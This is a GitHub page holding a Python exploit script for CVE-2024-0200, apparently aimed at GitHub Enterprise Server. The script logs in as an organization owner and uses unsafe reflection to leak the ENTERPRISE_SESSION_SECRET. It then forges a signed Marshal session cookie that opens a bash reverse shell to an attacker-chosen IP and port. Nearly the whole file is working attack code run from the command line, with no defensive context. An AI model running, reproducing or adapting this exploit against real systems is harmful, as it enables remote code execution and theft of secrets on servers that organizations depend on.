-
Notifications
You must be signed in to change notification settings - Fork 0
/
CVE-2024-0200.py
212 lines (169 loc) · 7.97 KB
/
CVE-2024-0200.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
import re
import hmac
import json
import base64
import random
import string
import hashlib
import argparse
import requests
import urllib.parse
from bs4 import BeautifulSoup
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class Exploit():
def __init__(self, target, username, password, connect_back_ip, connect_back_port):
self.base_url = target.rstrip('/')
self.base_api_url = f'{self.base_url}/api/v3'
self.username = username
self.password = password
self.connect_back_ip = connect_back_ip
self.connect_back_port = connect_back_port
self.web_session = requests.Session()
self.api_session = requests.Session()
self.api_session.auth = (username, password)
self.org_name = ''
self.secret = ''
# Function to check if the user is an organization owner
def check_organization_owner(self):
print("Checking if user is an organization owner...")
url = f'{self.base_api_url}/user/orgs'
response = self.api_session.get(url, verify=False)
orgs = response.json()
if response.status_code == 200:
for org in orgs:
role = self.get_user_role(org['login'])
if role == 'admin':
self.org_name = org['login']
return True
return False
# Function to get the user's role in an organization
def get_user_role(self, org_name):
url = f'{self.base_api_url}/orgs/{org_name}/memberships/{self.username}'
response = self.api_session.get(url, verify=False)
if response.status_code == 200:
membership = response.json()
return membership['role']
else:
return None
# Generate a random alphanumeric string of given length.
def generate_random_string(self, length):
alphanumeric_chars = string.ascii_letters + string.digits
return ''.join(random.choice(alphanumeric_chars) for _ in range(length))
# Creates a new repository in an organization.
def create_repository(self, repo_name):
url = f'{self.base_api_url}/orgs/{self.org_name}/repos'
data = {
'name': repo_name
}
response = self.api_session.post(url, json=data, verify=False)
if response.status_code == 201:
print(f'Repository "{repo_name}" created successfully in organization "{self.org_name}"!')
else:
raise Exception(f'Failed to create repository "{repo_name}" in organization "{self.org_name}"')
# Checks if any repository exists in the organization. If not, creates one.
def make_sure_repo_exists(self):
print("Checking if at least one repository exists in the organization...")
url = f"{self.base_api_url}/orgs/{self.org_name}/repos"
response = self.api_session.get(url, verify=False)
if response.status_code == 200:
repositories = response.json()
if not repositories:
print("No repositories found. Creating a new one...")
self.create_repository(self.generate_random_string(10))
else:
print("Repositories exist in the organization.")
else:
raise Exception("Failed to fetch repositories.")
# Fetch CSRF token from the login page.
def get_csrf_token(self):
url = f"{self.base_url}/login"
response = self.web_session.get(url, verify=False)
soup = BeautifulSoup(response.text, 'html.parser')
csrf_token = soup.find('input', {'name': 'authenticity_token'}).get('value')
return csrf_token
# Send a POST request to login using the provided credentials and CSRF token.
def login(self, csrf_token):
url = f"{self.base_url}/session"
data = {
'login': self.username,
'password': self.password,
'commit': 'Sign in',
'authenticity_token': csrf_token,
}
response = self.web_session.post(url, data=data, verify=False)
return 'Sign out' in response.text
# Login in the Web application
def do_login(self):
print("Trying to login in the web app...")
# Step 1: Get CSRF Token
csrf_token = self.get_csrf_token()
print("CSRF Token:", csrf_token)
# Step 2: Login
login_response = self.login(csrf_token)
return login_response
# Finds the token value "ENTERPRISE_SESSION_SECRET"=>"xxx" in the provided data
def find_token_value(self, content):
pattern = r'"ENTERPRISE_SESSION_SECRET"=>"([^"]+)"'
match = re.search(pattern, content)
if match:
return match.group(1)
else:
return None
# Using the unsafe reflection, leak ENTERPRISE_SESSION_SECRET via restore_objects method
def leak_session_secret(self):
if not self.do_login():
raise("Login error, Aborting")
print("Login OK")
print("Triggering Unsafe Reflection")
url = f"{self.base_url}/organizations/{self.org_name}/settings/actions/repository_items"
response = self.web_session.get(url, params={"page": 1, "rid_key": "restore_objects"}, verify=False)
soup = BeautifulSoup(response.text, 'html.parser')
data = soup.find('input', {'name': 'repository_ids[]'}).get('value')
self.secret = self.find_token_value(data)
print(f"Found ENTERPRISE_SESSION_SECRET: {self.secret}")
# Get RCE via Cookies Marshal deserialization
def rce(self):
code = f"`bash -c 'bash -i >& /dev/tcp/{self.connect_back_ip}/{self.connect_back_port} 0>&1 &'`"
print("Sending RCE payload...")
marshal_template = (
"\x04\bo:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\t:\x0E@instance"
"o:\x1DAqueduct::Worker::Worker\a:\v@childI\"\x026\x0199999999; AAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAA\x06:\x06ET:\f@loggero:\vLogger\x00:\f@method:\x0Fkill_ch"
"ild:\t@varI\"\x10@kill_child\x06;\tT:\x10@deprecatoro:\x1FActiveSupport::Deprecation"
"\x06:\x0E@silencedT"
)
code = code.replace('"','\"')
marshal_code = marshal_template.replace("A" * 300, code + ";" + "A" * (300 - len(code) - 1))
marshal_encoded = base64.b64encode(bytes(marshal_code, 'UTF-8')).rstrip()
digest = hmac.new(bytes(self.secret, 'UTF-8'), marshal_encoded, hashlib.sha1).hexdigest()
marshal_encoded = urllib.parse.quote(marshal_encoded)
session_cookie = "%s--%s" % (marshal_encoded, digest)
print(session_cookie)
cookies = {'_gh_render': session_cookie}
requests.get(self.base_url, cookies=cookies, verify=False)
print("Done")
def run(self):
if not self.check_organization_owner():
print(f'You are not an organization owner. Aborting since this is an requirement for the exploit.')
return
print(f"User is an owner of organization {self.org_name}")
self.make_sure_repo_exists()
self.leak_session_secret()
self.rce()
def main():
parser = argparse.ArgumentParser(description='CVE-2024-0200 exploit')
parser.add_argument('target', type=str, help='Target base URL')
parser.add_argument('username', type=str, help='Username for login')
parser.add_argument('password', type=str, help='Password for login')
parser.add_argument('connect_back_ip', type=str, help='Connect back IP')
parser.add_argument('connect_back_port', type=str, help='Connect back Port')
args = parser.parse_args()
xpl = Exploit(args.target, args.username, args.password,
args.connect_back_ip, args.connect_back_port)
xpl.run()
if __name__ == '__main__':
main()